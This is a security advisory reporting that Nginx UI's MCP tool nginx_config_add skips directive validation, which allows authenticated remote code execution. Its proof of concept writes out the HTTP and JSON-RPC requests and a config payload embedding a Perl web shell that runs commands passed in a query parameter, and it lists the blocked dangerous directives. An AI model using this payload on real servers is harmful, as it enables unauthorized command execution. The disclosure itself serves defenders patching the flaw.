Vulnerability GHSA-9jww-cxg5-rj9m

High Risk
HIGH RISK
CVSS Score: 8.8
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
6 hours ago
October 15, 2026 at 08:11 PM UTC
Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE
>=1.9.10-0.20250506154222-1330888280a2 <1.9.10-0.20260703131214-23d1934099b0
>=1.9.10-0.20250506154222-1330888280a2 <1.9.10-0.20260703131214-23d1934099b0

Summary

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

Details

Summary

The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.

Details

api/config/add.go (line 46) calls config.ValidateConfigFile before writing:

err = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist
if err != nil {
    cosy.ErrHandler(c, err)
    return
}

mcp/config/config_add.go (line 79) omits that call entirely and writes directly:

err = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload)               // reload triggered immediately

config.ValidateConfigFile runs two checks:

  • ValidateConfigContent — rejects control characters, enforces encoding.
  • ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perl_modules, perl_require, perl_set, js_import, js_set, js_content, load_module (restricted modules), user root, and others.

Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly — only config_add.go is affected.

The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.

PoC

1 — Control: confirm REST API blocks the payload

POST /api/configs
Authorization: <token>

{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }

Response:

HTTP 500  scope=config  code=40017
message: file content contains restricted nginx directive: {0}

ValidateConfigDirectives rejects perl — the REST API is working as intended.

2 — Open MCP SSE session

GET /mcp
Authorization: <token>
Accept: text/event-stream

Extract sessionId from the endpoint event.

3 — MCP initialize handshake

POST /mcp_message?sessionId=<id>

{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
  "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }

4 — Call nginx_config_add with the identical blocked payload

POST /mcp_message?sessionId=<id>

{
  "jsonrpc": "2.0", "id": 2, "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "rce_backdoor.conf",
      "base_dir": "conf.d",
      "overwrite": true,
      "content": "server {\n    listen 8888;\n\n    location /rce {\n        perl 'sub {\n            my $r = shift;\n            my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n            $cmd ||= \"id\";\n            $r->send_http_header(\"text/plain\");\n            $r->print(qx($cmd 2>&1));\n            return OK;\n        }';\n    }\n}\n"
    }
  }
}

Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
      }
    ]
  }
}

The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.

5 — Trigger RCE

GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)

Impact

Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.

On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.

Timeline

Published
6 hours ago
October 15, 2026 at 08:11 PM UTC
Fixed (v1.9.10-0.20260703131214-23d1934099b0)
3 months ago
July 03, 2026 at 01:12 PM UTC
Last Modified
5 hours ago
October 15, 2026 at 08:30 PM UTC